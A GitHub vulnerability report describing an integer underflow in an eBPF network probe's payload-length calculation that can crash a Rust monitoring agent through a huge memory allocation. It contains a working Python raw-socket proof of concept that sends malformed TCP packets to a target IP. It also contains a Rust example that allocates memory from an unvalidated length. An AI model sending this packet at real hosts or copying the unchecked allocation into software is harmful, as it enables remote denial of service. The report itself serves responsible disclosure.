Skip to content

[Bug]: Integer Underflow in eBPF Probe #374

@fadingminibus

Description

@fadingminibus

Contact Details

No response

What happened?

Integer Underflow in eBPF Probe Leads to Agent Denial of Service (OOM)

Severity: Medium (Corruption of data integrity and potential of remote DoS)
Component: eBPF Kernel Probe (network.bpf.c)

1. Summary

A vulnerability exists in the eBPF network probe (network.bpf.c) where the payload length calculation fails to validate header bounds. A remote unauthenticated attacker can trigger an Integer Underflow by sending a specially crafted TCP packet, leading to corruption of security sensitive data integrity and potential remote DoS.

2. Root Cause Analysis (Kernel Space)

The flaw is located in process_skb within network.bpf.c. The code calculates the data length by subtracting the header length from the total packet length:

// network.bpf.c
msg_event->data_len = skb->len - headers_len;

The variable headers_len is derived from the TCP Data Offset (doff) field, which is attacker-controlled.

The code never verifies that headers_len <= skb->len. An attacker sending a shorther packet but claiming a larger TCP header (say, with doff=15) results in n integer underflow, the register potentially wrapping around up to 4,294,967,256.

3. The Crash (Userspace Agent)

The Rust agent ingests this poisoned event. Because network monitors often need to reassemble TCP streams or analyze payloads, a natural implementation (like the one below) will pre-allocate memory based on the reported length to avoid fragmentation.

The underflowed value forces the agent to attempt a 4GB allocation. This exceeds the memory limits of standard containers (and many host configurations), causing the OS to kill the process.

Example Logic (based on standalone-probes):

async fn run<F, T, Fut>(args: Args, program: F)
where
    F: Fn(BpfContext, mpsc::Sender<Result<BpfEvent<T>, ProgramError>>) -> Fut,
    Fut: Future<Output = Result<Program, ProgramError>>,
    T: IntoPayload,
{
    env_logger::builder()
        .filter(None, log::LevelFilter::Info)
        .filter(Some("trace_pipe"), log::LevelFilter::Info)
        .init();

    #[cfg(debug_assertions)]
    let _stop_handle = bpf_common::trace_pipe::start().await;
    
    let (tx, mut rx) = mpsc::channel(100);
    
    let log_level = if args.verbose {
        BpfLogLevel::Debug
    } else {
        BpfLogLevel::Error
    };
    
    let ctx = BpfContext::new(Pinning::Disabled, 512, None, log_level).unwrap();
    let _program = program(ctx, tx).await.expect("initialization failed");
    
    loop {
        tokio::select!(
            _ = tokio::signal::ctrl_c() => break,
            msg = rx.recv() => match msg {
                Some(Ok(msg)) => {
                    let payload = T::try_into_payload(msg).unwrap();

                    if let Payload::Send { len, .. } = &payload {
                        // Trust the core agent with reasonable size
                        let mut buf: Vec<u8> = Vec::with_capacity(*len);
                        buf.resize(*len,0);

                        //        ,--.!,
                        //     __/   -*-
                        //   ,d08b.  '|`
                        //   0088MM     
                        //   `9MMP'   
                    }

                    log::info!("{}", payload);
                },
                Some(Err(err)) => { 
                    bpf_common::log_error("error", err); 
                    break 
                }
                None => { 
                    log::info!("probe exited"); 
                    break; 
                }
            }
        )
    }
}

4. Proof of Concept

The following Python script uses raw sockets to construct the malicious packet. It sets the TCP Data Offset to 15 (max) while keeping the actual packet size minimal (40 bytes).

import socket
import struct
import sys

def trigger_panic(target_ip):
    # Standard IP Header
    ihl = 5
    version = 4
    tos = 0
    tot_len = 40 
    id = 54321
    frag_off = 0
    ttl = 64
    protocol = socket.IPPROTO_TCP
    check = 0 
    src_addr = socket.inet_aton("1.2.3.4")
    dst_addr = socket.inet_aton(target_ip)

    ihl_version = (version << 4) + ihl
    ip_header = struct.pack('!BBHHHBBH4s4s', ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, src_addr, dst_addr)

    # Malicious TCP Header
    source = 12345
    dest = 443
    seq = 0
    ack_seq = 0
    
    # Set Data Offset to 15  
    doff_res = (15 << 4) + 0 
    
    flags = 2 # SYN
    window = socket.htons(5840)
    check = 0
    urg_ptr = 0
    tcp_header = struct.pack('!HHLLBBHHH', source, dest, seq, ack_seq, doff_res, flags, window, check, urg_ptr)

    return ip_header + tcp_header

def execute():
    target = "192.168.1.15" 
    if len(sys.argv) > 1:
        target = sys.argv[1]
    
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
    except PermissionError:
        print("[-] Error: Root privileges required for raw sockets (sudo).")
        return

    packet = trigger_panic(target)
    
    print(f"[*] Targeting {target}")
    print(f"[*] Sending Malformed Packet...")
    print(f"    Wire Length:   {len(packet)} bytes")
    print(f"    Claimed IP:    20 bytes")
    print(f"    Claimed TCP:   60 bytes (via doff=15)")
    print(f"    Underflow:     40 - 20 - 60 = -40")
    
    for i in range(5):
        s.sendto(packet, (target, 0))
        
    print("[+] Packets sent.")

if __name__ == "__main__":
    execute()

5. Recommendation

The fix must be applied in the eBPF kernel code (network.bpf.c). It should verify that the calculated header length does not exceed the packet length.

Relevant log output

Code of Conduct

  • I agree to follow this project's Code of Conduct

Metadata

Metadata

Assignees

Labels

bugSomething isn't working

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions